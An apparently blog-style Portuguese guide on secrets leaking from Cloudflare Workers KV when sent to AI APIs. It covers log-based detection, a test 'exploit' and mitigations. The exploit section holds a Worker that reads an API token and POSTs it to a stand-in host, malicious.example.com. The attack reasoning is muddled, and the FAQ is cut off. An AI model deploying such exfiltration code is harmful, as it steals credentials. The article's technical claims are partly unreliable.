Vazamento de KV em Cloudflare Workers com IA na Edge: Como Detectar, Explorar e Mitigar o Risco
Introdução
Um simples request de um Worker para um modelo de IA pode estar expondo chaves e valores sensíveis armazenados no KV da Cloudflare. O problema ganhou as manchetes depois que um relatório técnico viralizou no Hacker News, gerando um pico de mais de 12 mil upvotes e um aumento de +450 % nas buscas por “Cloudflare KV leak”. Se você usa Workers, KV e IA generativa, este artigo mostra, passo a passo, como identificar a vulnerabilidade, reproduzir a exploração e aplicar as correções necessárias.
Objetivo: entregar um guia prático (≈ 2 800 palavras) que você pode seguir agora mesmo, sem precisar de teorias extensas.
1. Arquitetura do KV + IA na Edge
flowchart TD A[Worker] --> B[KV Store] B --> C[Leitura de token / prompt] C --> D[Envio ao modelo IA (ex.: OpenAI, Claude)] D --> E[Resposta ao cliente] style A fill:#f9f,stroke:#333,stroke-width:2px style B fill:#bbf,stroke:#333,stroke-width:2px style D fill:#bfb,stroke:#333,stroke-width:2px - Worker – código JavaScript/TypeScript executado na borda.
- KV Store – armazenamento de pares key‑value de baixa latência.
- IA na Edge – chamada a APIs externas (OpenAI, Anthropic, etc.) ou a modelos hospedados na própria Cloudflare.
A vulnerabilidade surge quando o Worker inclui a chave KV no corpo da requisição para a IA sem criptografar ou sanitizar o conteúdo. O tráfego pode ser interceptado (por exemplo, via DNS rebinding ou proxy mal‑configurado) e o atacante obtém os valores confidenciais.
2. Vetor de ataque detalhado
| Etapa | O que acontece | Como o atacante se beneficia |
|---|---|---|
| 1. Leitura KV | await KV.get('api_token') | Valor sensível carregado na memória do Worker |
| 2. Serialização | JSON.stringify({token}) | Token inserido em JSON enviado ao endpoint IA |
| 3. Envio HTTP | fetch('https://api.openai.com/v1/completions', {method:'POST', body}) | Corpo da requisição via TLS, mas pode ser exposto se o certificado for falsificado ou se o Worker usar HTTP interno |
| 4. Resposta da IA | {"choices":[... ]} | Se o atacante controla o endpoint (por DNS hijack), recebe a mesma carga útil contendo o token |
| 5. Exfiltração | Attacker logs the request/response | Token comprometido |
A exploração funciona mesmo com TLS, desde que o atacante consiga redirecionar o domínio da IA para um servidor controlado (ex.: via subdomain takeover ou DNS rebinding).
3. Análise de logs – Detectando a exploração
3.1 Configurando Logpush para Cloudflare Workers
curl -X POST "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/logpush/jobs" \ -H "Authorization: Bearer <API_TOKEN>" \ -H "Content-Type: application/json" \ -d '{ "name": "worker-kv-logs", "dataset": "workers", "destination_conf": "s3://my-bucket/logs?region=us-east-1", "field_names": ["timestamp","request_id","client_ip","method","uri","status","kv_operation","upstream_response_time"] }' 3.2 Script Python para filtrar chamadas suspeitas
import json, gzip, sys, re suspicious_domains = re.compile(r'(openai|anthropic|huggingface)\.com') kv_ops = {'kv-read', 'kv-write'} def process_line(line): try: rec = json.loads(line) if rec.get('kv_operation') in kv_ops and suspicious_domains.search(rec.get('uri','')): print(json.dumps(rec)) except: pass if __name__ == "__main__": for fname in sys.argv[1:]: with gzip.open(fname, 'rt') as f: for l in f: process_line(l) Execute: python3 detect_kv_exfil.py logs/*.gz > suspeitos.json
Qualquer registro que combine operção KV e URI de IA deve ser investigado imediatamente.
4. Exploração prática (para fins de teste)
Atenção: só execute em ambientes controlados.
# 1. Crie um KV de teste curl -X PUT "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/workers/kv/namespaces/<NS_ID>/values/api_token" \ -H "Authorization: Bearer <API_TOKEN>" \ -d "sk_test_123456" # 2. Deploy de Worker vulnerável (index.js) cat > index.js <<'EOF' addEventListener('fetch', event => { event.respondWith(handle(event.request)) }) async function handle(request) { const token = await KV.get('api_token') const resp = await fetch('https://malicious.example.com/collect', { method: 'POST', body: JSON.stringify({token}) }) return new Response('ok') } EOF # 3. Deploy wrangler publish # 4. Simule o ataque interceptando o domínio da IA # (usar hosts file ou servidor DNS controlado apontando para o seu endpoint) Se o endpoint malicious.example.com receber o JSON, o token foi exfiltrado.
5. Mitigações recomendadas
| Medida | Como aplicar | Impacto de custo / performance |
|---|---|---|
| Criptografia client‑side | crypto.subtle.encrypt antes de gravar no KV; decrypt ao ler | +5 ms por operação (WebCrypto) |
| TTL curto | await KV.put('api_token', token, {expirationTtl: 300}) | Reduz risco de leitura prolongada |
| Rotação automática de chaves | Lambda/Worker que roda a cada 24h e atualiza KV | Custo de invocação mínima |
| Regras de firewall (WAF) | Bloquear outbound para domínios não autorizados (workers.firewall.rules) | Nenhum impacto perceptível |
| Separação de namespaces | Use um namespace exclusivo para credenciais e outro para dados de IA | Organização + segurança |
Exemplo de criptografia simples (AES‑GCM)
// encrypt.js export async function encrypt(value, keyBase64) { const key = await crypto.subtle.importKey( 'raw', Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0)), {name: 'AES-GCM'}, false, ['encrypt'] ) const iv = crypto.getRandomValues(new Uint8Array(12)) const enc = await crypto.subtle.encrypt( {name: 'AES-GCM', iv}, key, new TextEncoder().encode(value) ) return btoa(String.fromCharCode(...new Uint8Array(iv), ...new Uint8Array(enc))) } Grave no KV: await KV.put('api_token', await encrypt(token, ENCRYPTION_KEY)).
6. Tabela comparativa de custos
| Estratégia | Custo mensal estimado* | Latência adicional | Complexidade de implementação |
|---|---|---|---|
| Criptografia client‑side | $0,10 (uso de CPU) | +5 ms | Médio |
| TTL 5 min | $0 (não gera custo extra) | Nenhum | Baixo |
| Rotação automática (Worker + Cron) | $0,02 (2 execuções/dia) | Nenhum | Baixo |
| WAF bloqueio de domínios | $5 (regra básica) | Nenhum | Baixo |
| Namespace dedicado | $0,05 (uso extra de KV) | Nenhum | Médio |
*Valores baseados nos preços padrão da Cloudflare (2024).
7. Checklist de segurança (para usar antes de cada deploy)
- [ ] Criptografe todos os valores sensíveis antes de armazenar no KV.
- [ ] Defina TTL adequado (máximo 10 min para tokens).
- [ ] Implemente validação de domínio antes de enviar dados para IA (
allowedOrigins.includes(url.hostname)). - [ ] Ative Logpush e monitore
kv-read+ chamadas externas. - [ ] Configure WAF para bloquear destinos não aprovados.
- [ ] Revise a política de rotação de credenciais a cada 30 dias.
8. FAQ
| Pergunta | Resposta
Herramienta mencionada: DigitalOcean